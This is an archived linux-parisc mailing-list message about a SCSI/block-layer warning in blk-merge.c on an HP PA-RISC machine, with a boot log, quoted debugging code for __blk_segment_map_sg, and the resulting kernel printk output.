[    0.248000] 9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    0.256000] 10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    0.264000] 11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
[    0.272000] 12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
[    0.280000] 13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
[    0.280000] 14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    0.288000] Enabling PDC_PAT chassis codes support v0.05
[    0.912000] Releasing cpu 1 now, hpa=fffffffffe781000
[    0.960000] FP[1] enabled: Rev 1 Model 20
[    0.968000] Releasing cpu 2 now, hpa=fffffffffe798000
[    1.016000] FP[2] enabled: Rev 1 Model 20
[    1.024000] Releasing cpu 3 now, hpa=fffffffffe799000
[    1.084000] FP[3] enabled: Rev 1 Model 20
[    1.088000] CPU(s): 4 out of 4 PA8800 (Mako) at 800.010600 MHz online
[    1.100000] Setting cache flush threshold to 32768 kB
[    1.100000] Setting TLB flush threshold to 1436 kB
[    1.140000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    1.340000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    1.396000] LBA 0:0: PCI host bridge to bus 0000:00
[    1.396000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    1.396000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    1.404000] pci_bus 0000:00: root bus resource [bus 00-07]
[    1.428000] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
[    1.484000] LBA 0:1: PCI host bridge to bus 0000:20
[    1.484000] pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    1.484000] pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
[    1.492000] pci_bus 0000:20: root bus resource [bus 20-27]
[    1.524000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    1.580000] LBA 0:2: PCI host bridge to bus 0000:40
[    1.580000] pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    1.580000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    1.588000] pci_bus 0000:40: root bus resource [bus 40-47]
[    1.620000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    1.676000] LBA 0:3: PCI host bridge to bus 0000:60
[    1.676000] pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    1.676000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    1.684000] pci_bus 0000:60: root bus resource [bus 60-67]
[    1.716000] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
[    1.748000] LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
[    1.772000] LBA 0:4: PCI host bridge to bus 0000:80
[    1.772000] pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
[    1.772000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
[    1.784000] pci_bus 0000:80: root bus resource [bus 80-87]
[    1.812000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
[    1.868000] LBA 0:6: PCI host bridge to bus 0000:c0
[    1.868000] pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
[    1.872000] pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
[    1.880000] pci_bus 0000:c0: root bus resource [bus c0-c7]
[    1.912000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
[    1.944000] LBA: lmmio_space [0xfffffffff0000000-0xfffffffffe77ffff] - new
[    1.968000] LBA 0:7: PCI host bridge to bus 0000:e0
[    1.968000] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
[    1.968000] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
[    1.976000] pci_bus 0000:e0: root bus resource [bus e0-e7]
[    1.988000] powersw: Soft power switch support not available.
[    2.024000] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[    2.048000] vgaarb: setting as boot device: PCI:0000:e0:02.0
[    2.048000] vgaarb: device added: PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
[    2.048000] vgaarb: loaded
[    2.048000] vgaarb: bridge control possible 0000:e0:02.0
[    2.056000] VFS: Disk quotas dquot_6.6.0
[    2.056000] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    2.068000] NET: Registered protocol family 2
[    2.092000] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[    2.092000] TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
[    2.092000] TCP: Hash tables configured (established 16384 bind 16384)
[    2.100000] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[    2.100000] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[    2.108000] NET: Registered protocol family 1
[    2.176000] Unpacking initramfs...
[    2.348000] Freeing initrd memory: 3044K (000000007fcf4000 - 000000007ffed000)
[    2.348000] Chassis warnings not supported.
[    2.348000] Performance monitoring counters enabled for Storm Peak Slow
[    2.352000] futex hash table entries: 2048 (order: 4, 65536 bytes)
[    2.356000] audit: initializing netlink subsys (disabled)
[    2.364000] audit: type=2000 audit(1456077963.364:1): initialized
[    2.364000] zbud: loaded
[    2.372000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 252)
[    2.372000] io scheduler noop registered
[    2.376000] io scheduler deadline registered
[    2.376000] io scheduler cfq registered (default)
[    2.384000] PDC Stable Storage facility v0.30
[    2.432000] STI GSC/PCI core graphics driver Version 0.9b
[    2.432000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    2.476000] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 75, base_baud = 115200) is a 16550A
[    2.520000] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 75, base_baud = 115200) is a 16550A
[    2.520000] console [ttyS1] enabled
[    2.520000] console [ttyS1] enabled
[    2.524000] bootconsole [ttyB0] disabled
[    2.524000] bootconsole [ttyB0] disabled
[    2.552000] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 75, base_baud = 115200) is a 16550A
[    2.572000] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 75, base_baud = 115200) is a 16550A
[    2.572000] Linux agpgart interface v0.103
[    2.572000] quicksilver: No AGP devices found.
[    2.572000] [drm] Initialized drm 1.1.0 20060810
[    2.580000] mousedev: PS/2 mouse device common for all mice
[    2.588000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[    2.588000] ledtrig-cpu: registered to indicate activity on CPUs
[    2.620000] NET: Registered protocol family 10
[    2.620000] mip6: Mobile IPv6
[    2.620000] NET: Registered protocol family 17
[    2.620000] mpls_gso: MPLS GSO support
[    2.620000] registered taskstats version 1
[    2.628000] zswap: loaded using pool lzo/zbud
[    2.636000] rtc-generic rtc-generic: setting system clock to 2016-02-21 18:06:03 UTC (1456077963)
[    2.660000] Freeing unused kernel memory: 1024K (0000000040100000 - 0000000040200000)
Loading, please wait...
/scripts/init-top/udev: line 14: can't create /sys/kernel/uevent_helper: Permission denied
Begin: Loading essential drivers ... [    3.312000] SCSI subsystem initialized
[    3.880000] sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
[    3.884000] sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    3.924000] sym0: SCSI BUS has been reset.
[    3.924000] scsi host0: sym-2.2.3
[    4.124000] sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
[    4.128000] sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    4.168000] sym1: SCSI BUS has been reset.
[    4.168000] scsi host1: sym-2.2.3
[    6.936000] scsi 0:0:0:0: Direct-Access     HP 73.4G ST373405LC       HP03 PQ: 0 ANSI: 2
[    6.936000] scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
[    6.936000] scsi target0:0:0: Beginning Domain Validation
[    6.956000] scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    6.972000] scsi target0:0:0: Ending Domain Validation
[    6.980000] scsi 0:0:1:0: Direct-Access     HP 73.4G MAX3073NC        HPC1 PQ: 0 ANSI: 3
[    6.980000] scsi target0:0:1: tagged command queuing enabled, command queue depth 16.
[    6.980000] scsi target0:0:1: Beginning Domain Validation
[    6.996000] scsi target0:0:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    7.004000] scsi target0:0:1: Ending Domain Validation
[    7.816000] scsi 1:0:2:0: Direct-Access     HP 73.4G ST373405LC       HP03 PQ: 0 ANSI: 2
[    7.820000] scsi target1:0:2: tagged command queuing enabled, command queue depth 16.
[    7.820000] scsi target1:0:2: Beginning Domain Validation
[    7.840000] scsi target1:0:2: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    7.856000] scsi target1:0:2: Ending Domain Validation
[    8.936000] random: nonblocking pool is initialized
[   10.888000] sd 0:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)
[   10.888000] sd 0:0:1:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)
[   10.888000] sd 0:0:0:0: [sda] Write Protect is off
[   10.892000] sd 0:0:1:0: [sdb] Write Protect is off
[   10.892000] sd 0:0:1:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   10.916000] sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   10.928000]  sdb: sdb1 sdb2 sdb3
[   10.968000]  sda: sda1 sda2 sda3
[   10.988000] sd 0:0:1:0: [sdb] Attached SCSI disk
[   10.996000] sd 0:0:0:0: [sda] Attached SCSI disk
[   11.428000] sd 1:0:2:0: [sdc] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)
[   11.428000] sd 1:0:2:0: [sdc] Write Protect is off
[   11.432000] sd 1:0:2:0: [sdc] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   11.472000]  sdc: sdc1
[   11.500000] sd 1:0:2:0: [sdc] Attached SCSI disk
done.
Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
error sending message: Connection refused
udevadm[129]: error sending message: Connection refused

Begin: Running /scripts/local-premount ... done.
[   12.300000] EXT4-fs (sda3): mounting ext3 file system using the ext4 subsystem
[   12.320000] EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
Begin: Running /scripts/local-bottom ... done.
done.
Begin: Running /scripts/init-bottom ... done.
INIT: version 2.88 booting
Setting hostname to 'ion'...done.
udev requires hotplug support, not started. ... failed!
 failed!
Setting the system clock.
System Clock set to: Sun Feb 21 18:06:17 UTC 2016.
Activating swap:swapon on /dev/sda2
swapon: /dev/sda2: found swap signature: version 1, page-size 4, same byte order
swapon: /dev/sda2: pagesize=4096, swapsize=1028157440, devsize=1028160000
[   16.128000] Adding 1004056k swap on /dev/sda2.  Priority:-1 extents:1 across:1004056k FS
.
[   16.296000] EXT4-fs (sda3): re-mounted. Opts: (null)
Will now check root file system:fsck from util-linux-ng 2.17.2
[/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sda3 
/dev/sda3: clean, 1959576/8814592 files, 10926496/17605231 blocks
.
[   16.616000] EXT4-fs (sda3): re-mounted. Opts: errors=remount-ro
Setting the system clock.
System Clock set to: Sun Feb 21 18:06:19 UTC 2016.
Cleaning up ifupdown....
Loading kernel module tg3.
WARNING: All config files need .conf: /etc/modprobe.d/arch, it will be ignored in a future release.
[   18.980000] pps_core: LinuxPPS API ver. 1 registered
[   18.980000] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[   19.092000] PTP clock support registered
[   19.384000] tg3.c:v3.137 (May 11, 2014)
[   20.904000] tg3 0000:20:02.0 eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
[   20.904000] tg3 0000:20:02.0 eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
[   20.912000] tg3 0000:20:02.0 eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
[   20.912000] tg3 0000:20:02.0 eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
Will now activate lvm and md swap:done.
Will now check all file systems.
fsck from util-linux-ng 2.17.2
Checking all file systems.
[/sbin/fsck.ext2 (1) -- /boot] fsck.ext2 -a -C0 /dev/sda1 
/dev/sda1: clean, 55/64256 files, 153810/257008 blocks
Done checking file systems. A log is being saved in /var/log/fsck/checkfs if that location is writable..
Setting kernel variables ... /etc/sysctl.conf... /etc/sysctl.d/bindv6only.conf...done.
Will now mount local filesystems:[   21.568000] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem
[   21.580000] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null)
mount: /sys already mounted or /sys busy
mount: according to mtab, sysfs is already mounted on /sys
 failed!
Will now activate swapfile swap:done.
Cleaning up temporary files...Cleaning /tmp...done.
Cleaning /var/run...done.
Cleaning /var/lock...done.
.
Checking minimum space in /tmp...done.
Running 0dns-down to make sure resolv.conf is ok...done.
Setting up networking....
/etc/network/options still exists and it will be IGNORED! Read README.Debian of netbase. ... (warning).
Configuring network interfaces...Internet Systems Consortium DHCP Client 4.1.1-P1
Copyright 2004-2010 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

[   24.416000] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
Listening on LPF/eth0/00:30:6e:4b:15:59
Sending on   LPF/eth0/00:30:6e:4b:15:59
Sending on   Socket/fallback
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 10:13:01 -0800
Lines: 485
Approved: news@gmane.org
Message-ID: <1456078381.2340.5.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
	 <1456026424.2268.5.camel@HansenPartnership.com>
	 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456078400 30123 80.91.229.3 (21 Feb 2016 18:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 18:13:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 19:13:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXYVF-0002J3-4g
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 19:13:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751235AbcBUSNE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 13:13:04 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35168 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751166AbcBUSNC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 13:13:02 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5563F8EE171;
	Sun, 21 Feb 2016 10:13:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456078382;
	bh=rBtbeXIuOhtxpQJTaOq7v87dzD3C0G8gs7Z7psub4u8=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=QoDY5GY+RHqDceXLKXA3G0OuTRegjtdMkRVuchEID4VlckXwOPi5M3S74ZF2gY2EF
	 iq0AXiBe2JFo3/2exPpGANSgFU4V2V94BZ1Y20h7vZoAnBX74qvlXoeai0RX2GebS4
	 rrZUzZsVTOvI28VsCgaq7m8KMLV/wF3/w+xIfn3I=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GhtW-A4vxdie; Sun, 21 Feb 2016 10:13:02 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B6E678EE0E3;
	Sun, 21 Feb 2016 10:13:01 -0800 (PST)
In-Reply-To: <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26476>

On Sun, 2016-02-21 at 13:09 -0500, John David Anglin wrote:
> On 2016-02-20, at 10:47 PM, James Bottomley wrote:
> 
> > On Sat, 2016-02-20 at 21:52 -0500, John David Anglin wrote:
> > > On 2016-02-20, at 5:52 PM, John David Anglin wrote:
> > > 
> > > > On 2016-02-20, at 4:59 PM, Helge Deller wrote:
> > > > 
> > > > > On 20.02.2016 21:43, John David Anglin wrote:
> > > > > > On 2016-02-20, at 3:13 PM, John David Anglin wrote:
> > > > > > 
> > > > > > > On 2016-01-23, at 1:00 PM, John David Anglin wrote:
> > > > > > > 
> > > > > > > > WARNING: at block/blk-merge.c:454
> > > > > > > 
> > > > > > > With linux-image-4.4.0-1-parisc64-smp on c3740, the above
> > > > > > > warning is the last message I see.
> > > > > > > Kernel seems to hang at that point.  This is warning
> > > > > > > code:
> > > > > > > 
> > > > > > >     /*
> > > > > > >      * Something must have been wrong if the figured
> > > > > > > number
> > > > > > > of
> > > > > > >      * segment is bigger than number of req's physical
> > > > > > > segments
> > > > > > >      */
> > > > > > >     WARN_ON(nsegs > rq->nr_phys_segments);
> > > > > > 
> > > > > > On Sep. 12, 2015, I reported the following problem:
> > > > > > 
> > > > > > http://www.spinics.net/lists/linux-parisc/msg06327.html
> > > > > 
> > > > > The problem is still, that this bug can only be reproduced at
> > > > > every boot when then 
> > > > > scsi drivers are built as modules (and in an initrd). I could
> > > > > never reproduce it when
> > > > > I booted a kernel with built-in scsi drivers.
> > > > > 
> > > > > The bug seems to be triggered by(*nsegs)++ command in
> > > > > __blk_segment_map_sg() in block/blk-merge.c.
> > > > > I'm testing with the 4.4.2 kernel from debian.
> > > > > I modified __blk_segment_map_sg() like that:
> > > > > static inline void
> > > > > __blk_segment_map_sg(struct request_queue *q, struct bio_vec
> > > > > *bvec,
> > > > >                   struct scatterlist *sglist, struct bio_vec
> > > > > *bvprv,
> > > > >                   struct scatterlist **sg, int *nsegs, int
> > > > > *cluster)
> > > > > {
> > > > > 
> > > > >      int nbytes = bvec->bv_len;
> > > > > 
> > > > >      if (*sg && *cluster) {
> > > > >              if ((*sg)->length + nbytes >
> > > > > queue_max_segment_size(q))
> > > > >                      goto new_segment;
> > > > > 
> > > > >              if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
> > > > >                      goto new_segment;
> > > > >              if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
> > > > >                      goto new_segment;
> > > > > 
> > > > >              (*sg)->length += nbytes;
> > > > >      } else {
> > > > > new_segment:
> > > > >              if (*sg && *cluster) {
> > > > >                      printk("NEW SEGMENT sg = %p!!!\n", sg);
> > > > >                      printk("__blk_segment_map_sg: length =
> > > > > %d,
> > > > > nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)
> > > > > ->length + nbytes, queue_max_segment_size(q));
> > > > >                      printk("__blk_segment_map_sg:
> > > > > BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n",
> > > > > BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q,
> > > > > bvprv,
> > > > > bvec) );
> > > > >              }
> > > > >              if (!*sg)
> > > > >                      *sg = sglist;
> > > > >              else {
> > > > >                      /*
> > > > >                       * If the driver previously mapped a
> > > > > shorter
> > > > >                       * list, we could see a termination bit
> > > > >                       * prematurely unless it fully inits the
> > > > > sg
> > > > >                       * table on each mapping. We KNOW that
> > > > > there
> > > > >                       * must be more entries here or the
> > > > > driver
> > > > >                       * would be buggy, so force clear the
> > > > >                       * termination bit to avoid doing a full
> > > > >                       * sg_init_table() in drivers for each
> > > > > command.
> > > > >                       */
> > > > >                      sg_unmark_end(*sg);
> > > > >                      *sg = sg_next(*sg);
> > > > >              }
> > > > > 
> > > > >              sg_set_page(*sg, bvec->bv_page, nbytes, bvec
> > > > > ->bv_offset);
> > > > >              (*nsegs)++;
> > > > >      }
> > > > >      *bvprv = *bvec;
> > > > > }
> > > > > 
> > > > > The boot log looks then like this:
> > > > > [   43.044000] scsi_init_sgtable: count = 1, nents = 1
> > > > > (there are lots of those before it!)
> > > > > [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   43.164000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   43.280000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   43.396000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   43.512000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
> > > > > [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   43.628000] scsi_init_sgtable: count = 3, nents = 3
> > > > > [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   44.224000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   44.340000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   44.456000] scsi_init_sgtable: count = 7, nents = 7
> > > > > [   44.456000] timer_interrupt(CPU 0): delayed! cycles
> > > > > 4527081F
> > > > > rem C6C21  next/now 14E153306E/14E146C44D
> > > > > [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 8192, nbytes =
> > > > > 4096, sum = 12288 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > > > [   46.116000] __blk_segment_map_sg: length = 16384, nbytes =
> > > > > 4096, sum = 20480 > 65536
> > > > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   46.116000] scsi_init_sgtable: count = 7, nents = 7
> > > > > [   46.116000] timer_interrupt(CPU 0): delayed! cycles
> > > > > 453F0A77
> > > > > rem 223089  next/now 152BB6286E/152B93F7E5
> > > > > [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   47.780000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
> > > > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
